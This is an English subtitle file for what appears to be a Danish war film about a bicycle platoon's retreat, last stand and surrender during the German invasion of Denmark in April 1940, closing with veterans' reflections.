00:47:59.917 --> 00:48:04.542
We're what's left.
We know what we're up against.

00:48:06.751 --> 00:48:09.542
We lost a great soldier today.

00:48:09.709 --> 00:48:11.251
217.

00:48:13.459 --> 00:48:17.751
He fought bravely
but had to surrender to God's will.

00:48:17.917 --> 00:48:23.417
Let his death be a reminder to us all
that we have to be prepared.

00:48:26.792 --> 00:48:28.709
Follow me.

00:49:29.209 --> 00:49:31.459
2nd Platoon, 4th Company!

00:49:39.542 --> 00:49:41.584
Halt!

00:49:43.959 --> 00:49:48.459
219, try to get some ammunition.
The rest of you wait here.

00:49:50.084 --> 00:49:52.459
Still no response.

00:49:52.626 --> 00:49:56.292
- Lieutenant Colonel.
- Second Lieutenant.

00:49:56.459 --> 00:50:01.126
Sønder Hostrup calling. Come in.
Come in. Are you receiving?

00:50:01.292 --> 00:50:04.959
I repeat.
Sønder Hostrup calling. Come in.

00:50:07.917 --> 00:50:13.875
- You were at Lundtoftebjerg?
- We didn't hold it for very long.

00:50:14.042 --> 00:50:18.167
We were outnumbered. We were attacked
by armoured vehicles and infantry.

00:50:18.334 --> 00:50:20.834
- Where is your lieutenant?
- I don't know.

00:50:21.001 --> 00:50:24.126
I think the Lieutenant was captured -

00:50:24.292 --> 00:50:27.751
- or surrendered
along with the rest of the platoon.

00:50:27.917 --> 00:50:30.084
And the motorcycle platoon?

00:50:30.251 --> 00:50:36.126
Sergeant Bundgaard chose to
move north after the first skirmish.

00:50:36.292 --> 00:50:41.042
But we are far from defeated.
We are ready to receive new orders.

00:50:41.209 --> 00:50:44.626
Get the radio on the lorry.
Come on!

00:50:46.501 --> 00:50:48.834
Are you leaving?

00:50:49.001 --> 00:50:50.959
Follow me.

00:50:56.501 --> 00:50:57.751
Thank you.

00:51:04.542 --> 00:51:06.959
- Cigarette?
- Yes, please.

00:51:12.084 --> 00:51:15.834
We've heard from both Haderslev
and Sønderborg.

00:51:17.209 --> 00:51:22.292
- They're not coming.
- There are no reinforcements coming?

00:51:25.792 --> 00:51:27.792
Why not?

00:51:27.959 --> 00:51:32.667
We were told they'd be
of more use in their own region.

00:51:32.834 --> 00:51:37.167
That was the last message before
we lost all communication.

00:51:37.334 --> 00:51:41.209
The telephone lines have probably
been sabotaged by the enemy.

00:51:41.376 --> 00:51:46.376
- And the joint line of defence?
- There'll be no line here.

00:51:46.959 --> 00:51:51.251
The border region has fallen.
All units have retreated -

00:51:51.417 --> 00:51:57.542
- or surrendered, so the battle will
take place further north and inland.

00:52:03.292 --> 00:52:07.959
- Any news from Copenhagen?
- No, there's no contact.

00:52:11.667 --> 00:52:14.959
What are our orders,
Lieutenant Colonel?

00:52:15.126 --> 00:52:19.834
We retreat to Haderslev
and join the garrison there.

00:52:21.001 --> 00:52:24.918
We'll establish
a line of defence there.

00:52:27.167 --> 00:52:30.417
It's going to be a long day, Sand.

00:52:32.001 --> 00:52:35.667
- Second Lieutenant.
- Lieutenant Colonel.

00:52:54.751 --> 00:52:57.334
Attention!

00:52:58.709 --> 00:53:01.834
New reports have come in.

00:53:02.001 --> 00:53:05.543
There will be
no reinforcements from Haderslev.

00:53:05.709 --> 00:53:08.334
Or from Sønderborg.

00:53:08.501 --> 00:53:11.001
We're going to Haderslev -

00:53:11.167 --> 00:53:15.126
- to assist the garrison
in defending the town.

00:53:15.292 --> 00:53:17.501
Can I ask a question?

00:53:17.667 --> 00:53:22.209
No, 233, you can't.
We're going through the woods.

00:53:22.376 --> 00:53:25.876
We should reach Haderslev
before the Germans. Understood?

00:53:26.042 --> 00:53:29.334
- Yes, Second Lieutenant!
- Follow me!

00:54:00.751 --> 00:54:03.042
Second lieutenant.

00:54:03.792 --> 00:54:07.000
- Yes, 212?
- I have a flat tyre.

00:54:07.167 --> 00:54:10.834
We'll stop here briefly.
219, help him.

00:54:16.084 --> 00:54:20.334
- 233, stand guard over there.
- 223, over there.

00:54:23.917 --> 00:54:27.667
- 225, you're from this area, right?
- Yes, Second Lieutenant.

00:54:27.834 --> 00:54:31.626
The fastest way to Haderslev?
I want to avoid the main road.

00:54:31.792 --> 00:54:36.126
And no open landscapes.
What do you say?

00:54:36.292 --> 00:54:40.042
If we continue in this direction
we'll end up on this road.

00:54:40.209 --> 00:54:42.709
Then we'll go through Aabenraa.

00:54:42.876 --> 00:54:46.334
From there we can ride
the bicycles to Haderslev.

00:54:46.501 --> 00:54:50.376
- It should be possible.
- Good. We'll do that.

00:54:52.042 --> 00:54:54.376
- Second Lieutenant?
- Yes?

00:54:54.542 --> 00:55:00.834
223. Nørreskov. Kolding, 217.
They He was a close friend.

00:55:06.459 --> 00:55:09.751
- Make them hurry up.
- Yes, Second Lieutenant.

00:55:09.917 --> 00:55:12.459
212, 219. You have to work faster.

00:55:18.584 --> 00:55:20.834
As you were.

00:55:30.584 --> 00:55:33.292
Did you enjoy your leave?

00:55:35.292 --> 00:55:38.959
- Yes, Second Lieutenant.
- Do you have a family?

00:55:40.209 --> 00:55:43.167
A fiancée.

00:55:44.334 --> 00:55:48.084
- Was it her, you wrote a letter to?
- Yes.

00:55:53.084 --> 00:55:56.209
Did you set a date?

00:55:56.376 --> 00:56:00.417
Not yet, but hopefully
sometime this summer.

00:56:05.001 --> 00:56:08.167
Then we'd better get you home safe.

00:56:14.501 --> 00:56:18.793
Nørreskov, you're a part of
4th Company, 2nd Bicycle Platoon.

00:56:20.459 --> 00:56:22.834
You're not alone.

00:56:24.334 --> 00:56:26.584
Affirmative.

00:56:35.834 --> 00:56:38.542
The last bit. Come on.

00:56:50.334 --> 00:56:53.334
- We're almost there.
- Hurry up.

00:56:55.584 --> 00:56:57.959
- Come on, Andersen.
- We need more time.

00:56:58.126 --> 00:57:01.459
There is no time to spare.

00:57:03.709 --> 00:57:07.126
- The war doesn't wait for you.
- I can't do it any faster!

00:57:07.292 --> 00:57:10.459
- You have to.
- Who the hell do you think you are?

00:57:10.626 --> 00:57:13.792
Come on! Get that bicycle fixed.

00:57:13.959 --> 00:57:16.334
- What's the problem?
- I'm ...

00:57:16.501 --> 00:57:18.501
- Having any doubts?
- No.

00:57:18.667 --> 00:57:22.042
- Have you forgotten your duty?
- No.

00:57:22.209 --> 00:57:25.876
- No, Second Lieutenant.
- Then get that bicycle ready.

00:57:26.042 --> 00:57:28.459
Yes, sir.

00:57:31.167 --> 00:57:35.417
- Never discuss an order.
- Yes, Second Lieutenant.

00:57:56.709 --> 00:58:02.417
- Ready, Second Lieutenant.
- Moving on. 233, 223.

00:58:35.834 --> 00:58:38.334
2nd Platoon, 4th Company.

00:58:40.167 --> 00:58:44.209
- Can you help?
- 223, 233, assist them.

00:58:52.376 --> 00:58:54.584
Follow me.

00:59:09.834 --> 00:59:13.209
225, you're with me.

00:59:13.376 --> 00:59:16.584
- The rest of you stay here.
- Yes, sir.

00:59:33.459 --> 00:59:37.459
Hello. Want to buy some milk?
It's cheap. Only two kroner.

00:59:40.209 --> 00:59:42.584
Hello. What are you doing here?

00:59:42.751 --> 00:59:46.334
Want to buy some milk?
It's cheap. Only two kroner.

00:59:46.501 --> 00:59:48.543
- Sergeant Bundgaard.
- Yes.

00:59:48.709 --> 00:59:51.209
- What's going on?
- Second Lieutenant.

00:59:51.376 --> 00:59:56.209
We wanted to take position here, but
the locals are all over the place.

00:59:56.376 --> 01:00:01.334
They refuse to go home.
What about Lundtoftebjerg?

01:00:01.501 --> 01:00:03.834
- We didn't last long.
- Casualties?

01:00:04.001 --> 01:00:07.459
One man. Kolding.

01:00:07.626 --> 01:00:09.334
No reinforcements.

01:00:09.501 --> 01:00:12.793
- Neither Haderslev nor Sønderborg?
- No.

01:00:12.959 --> 01:00:15.834
- Our orders?
- A newline of defence in Haderslev.

01:00:16.001 --> 01:00:19.251
A line of defence that far north
doesn't make any sense.

01:00:19.417 --> 01:00:20.917
Those are our orders.

01:00:21.084 --> 01:00:23.834
I won't sacrifice my men
for something so pointless.

01:00:24.001 --> 01:00:28.251
Get your men to Haderslev.
Is that understood?

01:00:28.417 --> 01:00:30.542
- Is that understood?
- Yes.

01:00:30.709 --> 01:00:33.834
- Can I see that?
- Yes.

01:00:36.501 --> 01:00:41.542
- Where did you get this?
- German planes dropped them on us.

01:00:41.709 --> 01:00:47.084
Second Lieutenant. German planes
have been dropping these.

01:00:47.876 --> 01:00:52.084
"Proclamation to the soldiers
and people of Denmark."

01:00:53.834 --> 01:00:58.001
An appeal not to offer resistance.
In Norwegian.

01:00:59.376 --> 01:01:02.167
The Germans are coming!

01:01:07.792 --> 01:01:10.084
The Germans are coming!

01:01:11.251 --> 01:01:15.334
- Take position!
- Get away from the road!

01:01:18.459 --> 01:01:22.376
- Get those kids away!
- Second Lieutenant, our orders?

01:01:22.542 --> 01:01:26.501
219, set up the machine gun!
212, get these people off the road!

01:01:27.876 --> 01:01:30.584
- Faster.
- Get away!

01:01:32.251 --> 01:01:35.292
Get these people away! Now!

01:01:36.167 --> 01:01:37.376
Get away!

01:01:41.917 --> 01:01:44.584
- Get away!
- Frederik!

01:01:46.251 --> 01:01:50.292
- Get away!
- Frederik!

01:01:50.459 --> 01:01:52.792
- Frederik!
- Get away from the road!

01:01:54.126 --> 01:01:56.001
Let me go! Frederik!

01:02:02.126 --> 01:02:04.709
Get away!

01:02:06.751 --> 01:02:08.459
Tanks!

01:02:20.042 --> 01:02:21.834
Take cover!

01:02:22.626 --> 01:02:25.209
Lassen, get her away!

01:02:29.876 --> 01:02:33.459
Second Lieutenant,
what are your orders?

01:02:39.001 --> 01:02:43.459
- Bicycle Platoon, retreat!
- Come on! Retreat!

01:02:50.626 --> 01:02:52.959
Come on, come on!

01:03:01.792 --> 01:03:05.042
- Who can drive a lorry?
- I can.

01:03:05.209 --> 01:03:08.042
- 219, help load the bicycles.
- Yes, sir.

01:03:08.209 --> 01:03:10.709
Come on. Get up, everybody!

01:03:10.876 --> 01:03:13.334
- Come on.
- Up with it.

01:03:51.084 --> 01:03:54.042
Get us away from the main road.

01:04:54.834 --> 01:04:57.542
- Planes. Planes.
- Pull over.

01:05:50.917 --> 01:05:53.709
We'll continue towards Haderslev.

01:06:16.917 --> 01:06:23.000
If we take Løgumkloster Road,
we shouldn't run into the Germans.

01:06:23.167 --> 01:06:25.292
Do it.

01:06:27.126 --> 01:06:31.168
- You know the area?
- Born and raised in Haderslev.

01:06:31.334 --> 01:06:34.834
- So you're going home now?
- Looks like it.

01:06:43.792 --> 01:06:46.459
You did a fine job today.

01:06:49.084 --> 01:06:54.001
With all due respect,
the army is just a phase for me.

01:06:55.209 --> 01:06:57.459
What would you rather do?

01:06:59.042 --> 01:07:02.917
I want to be a shopkeeper,
Second Lieutenant.

01:07:03.084 --> 01:07:06.459
- A shopkeeper?
- A shopkeeper.

01:07:06.626 --> 01:07:10.042
Find a nice girl.
Have a lot of children.

01:07:12.209 --> 01:07:15.209
I like it simple.

01:07:15.959 --> 01:07:20.626
If you like it simple,
then the army is just the thing.

01:07:55.292 --> 01:07:58.917
You could have turned the bikes
around ten times by now.

01:07:59.084 --> 01:08:01.626
Yes, but the Germans
are coming this way.

01:08:01.792 --> 01:08:05.667
Then hurry up.
The side roads are closed.

01:08:09.292 --> 01:08:13.417
- Bundgaard. Captain.
- The captain won't let us in.

01:08:13.584 --> 01:08:16.542
You're in our line of fire.
Turn around.

01:08:16.709 --> 01:08:21.709
- They'll be here soon.
- No entry from the south.

01:08:21.876 --> 01:08:25.584
- I need to speak to your colonel.
- Colonel Hartz is on the square.

01:08:25.751 --> 01:08:28.667
You can speak to him,
when you move your vehicles.

01:08:28.834 --> 01:08:31.667
I have important information
about the Germans.

01:08:31.834 --> 01:08:35.542
And I have my orders,
Second Lieutenant.

01:08:41.084 --> 01:08:43.917
- You haven't seen any action yet?
- No.

01:08:44.084 --> 01:08:45.792
I thought so.

01:08:45.959 --> 01:08:50.917
We lost our comrades
at the border while waiting for you.

01:08:51.084 --> 01:08:54.542
We need a leg up.

01:08:58.292 --> 01:09:02.001
Open wide enough
for the lorry to get through.

01:09:02.167 --> 01:09:04.084
- Thank you.
- Move out.

01:09:07.459 --> 01:09:09.709
We'll help defend the barracks.

01:09:09.876 --> 01:09:12.709
We'll report to the colonel.

01:09:12.876 --> 01:09:17.084
Some kind stranger gave me these.
You deserve a smoke break.

01:09:17.251 --> 01:09:20.167
- Thank you.
- Second Lieutenant.

01:09:21.709 --> 01:09:23.792
Move out!

01:09:43.334 --> 01:09:46.126
... in Vojens.
They heard it on the radio.

01:09:46.292 --> 01:09:49.001
- Dismount.
- Keep quiet about it.

01:09:49.167 --> 01:09:52.834
- Get that verified.
- All the telephone lines are down.

01:09:53.001 --> 01:09:55.834
Find another telephone or a radio.

01:09:56.001 --> 01:10:01.084
Colonel Hartz? Second Lieutenant
Sand, 4th Company, 2nd Platoon.

01:10:01.251 --> 01:10:04.293
Lieutenant Colonel Hintz
asked me to report to you.

01:10:04.459 --> 01:10:08.417
You had a busy morning.
Sorry I couldn't help you -

01:10:08.584 --> 01:10:11.251
- but we were ordered
to defend this town.

01:10:11.417 --> 01:10:14.709
German planes
have been dropping these.

01:10:14.876 --> 01:10:18.876
I've seen them. It's a piece
of paper. It doesn't change anything.

01:10:19.042 --> 01:10:22.625
The Germans have motorized infantry
and armoured vehicles.

01:10:22.792 --> 01:10:26.001
- We're no match for them.
- You know how it is.

01:10:26.167 --> 01:10:31.001
- Orders are orders. Nielsen!
- Colonel?

01:10:31.167 --> 01:10:35.251
Show Sand and his men to the
positions at the north road.

01:10:35.417 --> 01:10:37.667
They could use some help.

01:10:37.834 --> 01:10:41.084
Yes, Colonel.
One of my men lost his rifle.

01:10:41.251 --> 01:10:44.209
- And we need ammunition.
- See to it.

01:10:44.376 --> 01:10:46.792
God, King and country.

01:10:50.042 --> 01:10:53.709
The colonel has ordered us to a new
position. Leave the knapsacks.

01:10:53.876 --> 01:10:57.959
Andersen, you'll get a new rifle.
The rest of you get more ammunition.

01:10:59.667 --> 01:11:02.376
- Rifle?
- That's me.

01:11:02.542 --> 01:11:04.709
- Thank you.
-Ammunition?

01:11:09.251 --> 01:11:12.209
Divide it up between you.

01:11:22.667 --> 01:11:24.834
Hurry up!

01:11:28.042 --> 01:11:30.251
Follow me!

01:11:41.209 --> 01:11:45.251
We have soldiers in position
there and there.

01:11:45.417 --> 01:11:49.542
If we get new orders,
tell us immediately. Follow me!

01:11:52.709 --> 01:11:55.667
Get away from the street now!

01:11:55.834 --> 01:11:57.834
Get away!

01:12:00.542 --> 01:12:04.126
The colonel asked us to help you.
Which weapons do you have?

01:12:04.292 --> 01:12:07.292
A machine gun here
but only rifles on the other side.

01:12:07.459 --> 01:12:12.209
We need two riflemen over there.
Andersen, Nørreskov.

01:12:13.126 --> 01:12:15.001
Get in position over there.

01:12:15.167 --> 01:12:18.917
Andersen, you're in command.
Watch your backs.

01:12:19.084 --> 01:12:22.376
- Yes, Second Lieutenant.
- Take position.

01:12:34.001 --> 01:12:36.459
Follow me!

01:12:38.334 --> 01:12:40.834
- What's going on?
- The Germans are coming.

01:12:41.001 --> 01:12:42.876
Away from the window!

01:12:44.584 --> 01:12:46.334
Come on!

01:12:50.792 --> 01:12:54.334
Do you have time for that?
Put those cups away!

01:12:54.501 --> 01:12:58.251
- Just a cup.
- Make it quick, Justesen.

01:12:58.417 --> 01:13:01.626
I'm assuming command.
Gram, Lassen, over there.

01:13:01.792 --> 01:13:05.292
Gram on top, Lassen at the bottom.
Justesen, by the door.

01:13:05.459 --> 01:13:10.084
Take position there.
You, take position by the corner.

01:13:10.251 --> 01:13:13.792
Lassen, move further in.
You're visible.

01:13:13.959 --> 01:13:18.209
- I have a perfect vantage point.
- Do as you're told, Soldier.

01:14:17.417 --> 01:14:19.376
Tanks!

01:14:25.084 --> 01:14:28.542
They're too close! Retreat!

01:14:31.292 --> 01:14:33.334
Take position there!

01:14:35.209 --> 01:14:38.334
- I'm retreating! Cover me!
- I'll cover you!

01:14:44.001 --> 01:14:46.668
Nørreskov, come on!

01:14:52.001 --> 01:14:54.209
We have to move on!

01:14:59.792 --> 01:15:04.251
- Andersen, I'll cover you!
- Andersen! Run! Run!

01:15:04.417 --> 01:15:07.209
- Run!
- Cover him!

01:15:08.292 --> 01:15:10.042
Come on!

01:15:17.001 --> 01:15:18.459
Shoot him!

01:15:18.626 --> 01:15:22.793
- Second Lieutenant!
- Andersen, Nørreskov, get back!

01:15:22.959 --> 01:15:27.751
Retreat! Take position here!
Come on! Cover them!

01:15:31.834 --> 01:15:34.959
Now! Cover fire! Get in here!

01:15:36.959 --> 01:15:40.751
- Hold them as long as you can.
- Yes, sir.

01:15:40.917 --> 01:15:43.834
I'm out of ammunition!

01:15:46.334 --> 01:15:49.667
- Get that machine gun!
- Last three rounds!

01:15:49.834 --> 01:15:53.501
We need ammunition,
Second Lieutenant!

01:15:55.501 --> 01:15:57.209
Here.

01:16:03.376 --> 01:16:06.334
Retreat! Lassen, retreat!

01:16:06.501 --> 01:16:09.584
- Coming!
- Run, Lassen!

01:16:14.334 --> 01:16:17.626
Your turn, Justesen! Get back here!

01:16:17.792 --> 01:16:21.584
Gram, cover Justesen
from the right side of the road!

01:16:26.084 --> 01:16:29.251
Justesen! Justesen!

01:16:29.417 --> 01:16:33.084
Lassen, we'll run out
and get Justesen!

01:16:33.251 --> 01:16:35.417
Gram, you have to cover us!

01:16:35.584 --> 01:16:37.584
- Cover us, Gram!
- Get him!

01:16:37.751 --> 01:16:41.542
Soldiers, cover us!
Lassen, we're going now! Now!

01:16:43.126 --> 01:16:46.376
Lassen, take hold of him here.

01:16:46.542 --> 01:16:49.584
Lassen! Come on!
We'll drag him back there.

01:16:52.334 --> 01:16:56.251
Put him down here.
Stop the bleeding.

01:16:56.417 --> 01:16:59.292
Did you hear me? Stop the bleeding.

01:17:04.626 --> 01:17:07.959
Fall back! Get behind me!

01:17:08.126 --> 01:17:09.834
Come on!

01:17:11.251 --> 01:17:15.918
- Second Lieutenant. Nørreskov!
- What are we going to do?

01:17:16.084 --> 01:17:19.834
Gram, retreat! Now! Now! Now!

01:17:22.126 --> 01:17:25.251
Look at me! Breathe! Breathe!

01:17:26.626 --> 01:17:28.667
Second Lieutenant!

01:17:32.126 --> 01:17:35.584
Second Lieutenant, we're losing him.

01:17:35.751 --> 01:17:39.459
We're almost out of ammunition.

01:17:40.709 --> 01:17:45.584
- Justesen, look at me.
- Second Lieutenant, what do we do?

01:17:45.751 --> 01:17:49.042
Second Lieutenant,
what are your orders?

01:17:53.792 --> 01:17:58.292
Second Lieutenant,
he needs treatment!

01:17:58.459 --> 01:18:02.167
- Look at me, Justesen.
- Second Lieutenant!

01:18:02.334 --> 01:18:06.751
- I don't want to die.
- What do we do, Second Lieutenant?

01:18:08.501 --> 01:18:10.667
It's over.

01:18:10.834 --> 01:18:13.542
It's all over!

01:18:32.292 --> 01:18:36.417
Weapons down!
Weapons down!

01:18:39.209 --> 01:18:41.376
Weapons down!
Hands in the air!

01:18:41.542 --> 01:18:43.959
How do you say:
"Don't shoot. We surrender"?

01:18:44.126 --> 01:18:47.501
Nicht schiessen, wir kapitulieren.

01:18:47.667 --> 01:18:51.417
Don't shoot. We surrender!

01:18:53.126 --> 01:18:57.209
Don't shoot!
Don't shoot!

01:18:57.376 --> 01:19:01.084
- Don't shoot!
- We surrender!

01:19:01.251 --> 01:19:05.042
- Don't shoot!
- Hands in the air!

01:19:05.209 --> 01:19:09.376
Don't shoot. We surrender!
Don't shoot!

01:19:09.542 --> 01:19:14.292
- Hands in the air!
- Just keep your hands in the air.

01:19:14.459 --> 01:19:18.209
- Get behind me, soldiers.
- Hands in the air!

01:19:18.376 --> 01:19:22.209
- Don't shoot.
- Get behind me. Get behind me.

01:19:22.376 --> 01:19:26.959
- Don't shoot.
- No weapons! We surrender!

01:21:22.876 --> 01:21:26.042
Get up! Get up!

01:21:26.209 --> 01:21:30.584
- Take the prisoners away. Now!
- Get up, everybody.

01:21:31.834 --> 01:21:35.834
- Two and two, behind me.
- Come on! Forward.

01:21:39.751 --> 01:21:42.459
March!

01:21:59.042 --> 01:22:02.084
Does anyone
in your group speak German?

01:22:02.251 --> 01:22:05.584
- Gram.
- I speak German.

01:22:07.792 --> 01:22:11.542
- Das ist nicht notwendig.
- "That's not necessary."

01:22:11.709 --> 01:22:15.126
Ich bin Oberleutnant Becker
Von der 170. lnfanteriedivision.

01:22:15.292 --> 01:22:19.292
"I am Lieutenant Becker
from the 170th infantry division."

01:22:19.459 --> 01:22:22.959
- Second Lieutenant Sand.
- Das ist Leutnant Sand.

01:22:24.584 --> 01:22:28.376
Sie unterstehen meiner Obhut und
werden in die Kaserne gebracht.

01:22:28.542 --> 01:22:34.626
"You are in my charge and you
will be escorted to the barracks."

01:22:34.792 --> 01:22:36.875
Ich hätte eine Frage.

01:22:37.042 --> 01:22:40.834
Warum um alles
haben Sie so lange gekämpft?

01:22:41.001 --> 01:22:45.459
He wants to know
why we kept fighting.

01:22:45.626 --> 01:22:48.792
I don't understand. What do you mean?

01:22:48.959 --> 01:22:52.417
Es war nicht notwendig, dass so
viele das Leben lassen mussten.

01:22:52.584 --> 01:22:56.084
Ihre Regierung
hat bereits kapituliert.

01:22:59.417 --> 01:23:02.417
It was an unnecessary waste of lives.

01:23:02.584 --> 01:23:06.417
Our government
had already capitulated.

01:23:10.334 --> 01:23:12.584
Das wussten Sie nicht?

01:23:12.751 --> 01:23:15.209
Didn't you know that?

01:23:16.167 --> 01:23:20.209
No, I did not.
When did we capitulate?

01:23:20.376 --> 01:23:22.584
Wann haben wir kapituliert?

01:23:22.751 --> 01:23:27.834
- Vor ein paar Stunden.
- A couple of hours ago.

01:23:30.042 --> 01:23:34.750
Gut. Sie können gerne in meinem
Wagen mit in die Kaserne fahren.

01:23:34.917 --> 01:23:39.084
You can ride with him in his car
to the barracks.

01:23:39.251 --> 01:23:42.209
Thank you, no.
I'd like to go with my men.

01:23:42.376 --> 01:23:46.793
Nein, danke. Er möchte gerne
mit seinen Männern fahren.

01:23:46.959 --> 01:23:49.209
I understand.

01:25:49.751 --> 01:25:53.543
It was both disappointing -

01:25:53.709 --> 01:25:59.376
- and good
that it was over so quickly -

01:25:59.542 --> 01:26:03.334
- so not a lot of Danes fell.

01:26:03.501 --> 01:26:08.251
We were forced to surrender.
We were no match for the Germans.

01:26:08.417 --> 01:26:12.417
Of course we didn't like it.

01:26:12.584 --> 01:26:17.251
We didn't want them to
just come and take our country.

01:26:18.459 --> 01:26:22.126
Killing people is not something
you can be proud of.

01:26:22.292 --> 01:26:25.042
That's what it's about.

01:26:25.209 --> 01:26:29.251
The more you kill,
the easier the victory is.

01:26:29.417 --> 01:26:33.084
I can't shake it off,
because there were things, -

01:26:33.251 --> 01:26:37.709
- I thought were a bit tough.
But ...

01:26:37.876 --> 01:26:40.251
There's nothing
to be done about that.

01:26:40.417 --> 01:26:44.834
Nothing.
It was something I got through.

01:26:45.001 --> 01:26:48.709
My dad knows all my friends.
He said:

01:26:48.876 --> 01:26:51.834
"I'll tell you one thing.

01:26:52.001 --> 01:26:56.084
I would rather hear -

01:26:56.251 --> 01:27:02.584
- that Frode had fallen
than that you didn't put up a fight."

01:27:04.667 --> 01:27:10.292
You're alone.
No girlfriend, wife or kids, -

01:27:10.459 --> 01:27:13.126
- so if the worst thing
should happen, -

01:27:13.292 --> 01:27:18.376
- it wouldn't be so bad after all.

01:27:18.542 --> 01:27:23.459
The top brass obviously said:

01:27:24.626 --> 01:27:27.626
"It was not in vain."

01:27:27.792 --> 01:27:30.209
But the price -

01:27:30.376 --> 01:27:33.334
- was too great for some.

01:28:24.209 --> 01:28:28.334
Translation: Jesper Buhl
Scandinavian Text Service 2015

ZeroDay Forums Mini